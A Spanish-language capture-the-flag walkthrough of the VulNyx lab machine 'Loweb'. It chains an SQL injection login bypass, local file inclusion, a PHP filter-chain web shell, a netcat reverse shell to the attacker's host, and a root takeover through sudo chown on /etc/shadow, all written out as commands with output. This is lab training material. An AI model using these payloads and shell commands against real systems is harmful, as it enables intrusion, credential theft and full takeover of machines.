cd ~/blog

~/writeups/vulnyx/30-loweb.md

30 - Loweb

low Linux vulnyx 25-10-2025
SQL Injection (auth bypass)Local File Inclusion (LFI)PHP Filter Chains RCEsudo chown Privesc
vulnyx.com

~1 min de lectura


Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.210

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:43 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:0B:F0:A8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
 nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:44 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.38 seconds

Enumeramos directorios y encontramos una aplicación library con paneles de login/admin:

 gobuster dir -u 'http://10.42.113.210' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html           (Status: 200) [Size: 10701]
library              (Status: 200) [Size: 1068]
server-status        (Status: 403) [Size: 278]
...

 gobuster dir -u 'http://10.42.113.210/library' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html           (Status: 200) [Size: 1068]
login                (Status: 200) [Size: 2151]
admin                (Status: 200) [Size: 2151]

En /login realizamos un SQL Injection de bypass de autenticación con ' OR 1=1-- -, que nos redirige al panel de administración http://10.42.113.210/library/admin/index.php y revela el usuario r3dh4ck.

En las opciones de idioma, al cambiar el lenguaje la URL pasa a index.php?lang=es.php, lo que sugiere un LFI. Lo confirmamos leyendo /etc/passwd:

http://10.42.113.210/library/admin/index.php?lang=../../../../../../etc/passwd

Usamos el wrapper php://filter para leer el código fuente en base64. El index.php del admin no revela nada útil, pero el del login sí contiene las credenciales de la base de datos:

http://10.42.113.210/library/admin/index.php?lang=php://filter/read=convert.base64-encode/resource=../login/index.php
 echo 'PD9waH...tbD4K' | base64 -d > login_index.php

 cat login_index.php
...
<?php
$errorMsg = "";
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
    $conn = new mysqli('localhost', 'root', 'jX16QM2eOQ5$', 'library');
    $sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $_SESSION['username'] = $_POST['username'];
        header('Location: /library/admin/index.php');
        exit;
    } else {
        $errorMsg = "Invalid credentials. Please try again.";
    }
}
?>
...

Para convertir el LFI en RCE, usamos un PHP filter chain generado con synacktiv/php_filter_chain_generator:

 ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://temp

Inyectamos la cadena y pasamos el comando por el parámetro cmd, confirmando ejecución:

http://10.42.113.210/library/admin/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
<!DOCTYPE html>
<html lang="en" >
...
</html>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell:

&cmd=busybox nc 10.42.113.35 1234 -e /bin/bash

 ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.210:38666.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@loweb:/var/www/html/library/admin$

Para escalar privilegios, en /opt encontramos un script con credenciales:

www-data@loweb:/opt$ cat monitor.sh
...
SECRET_USER="r3dh4ck"
SECRET_PASS="contraseñaconÑjeje" # Change this password for the future
...

Nos logueamos como r3dh4ck:

www-data@loweb:/opt$ su r3dh4ck
su r3dh4ck
Password: contraseñaconÑjeje

r3dh4ck@loweb:/opt$

Sin embargo, no tenemos permiso de lectura sobre la flag de usuario:

r3dh4ck@loweb:~$ ls -l
-r-------- 1     775 r3dh4ck   33 Mar 15  2025 user.txt

Revisamos los permisos sudo:

r3dh4ck@loweb:~$ sudo -l
Matching Defaults entries for r3dh4ck on loweb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User r3dh4ck may run the following commands on loweb:
    (ALL) NOPASSWD: /usr/bin/chown

Podemos ejecutar chown como cualquier usuario sin contraseña. Primero nos apropiamos de la flag de usuario:

r3dh4ck@loweb:~$ sudo chown r3dh4ck user.txt

Para escalar a root hay varias vías; la más directa es apropiarnos de /etc/shadow (Writable Critical Files Privesc) y reemplazar la contraseña de root por una vacía:

r3dh4ck@loweb:~$ sudo chown r3dh4ck /etc/shadow

Generamos un hash de contraseña vacía con openssl y lo colocamos:

 openssl passwd -1
Password:
Verifying - Password:
$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/

r3dh4ck@loweb:~$ cat /etc/shadow | grep root
root:$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/:20162:0:99999:7:::

r3dh4ck@loweb:~$ su root
Password:
root@loweb:/home/r3dh4ck#

Obtenemos la última flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados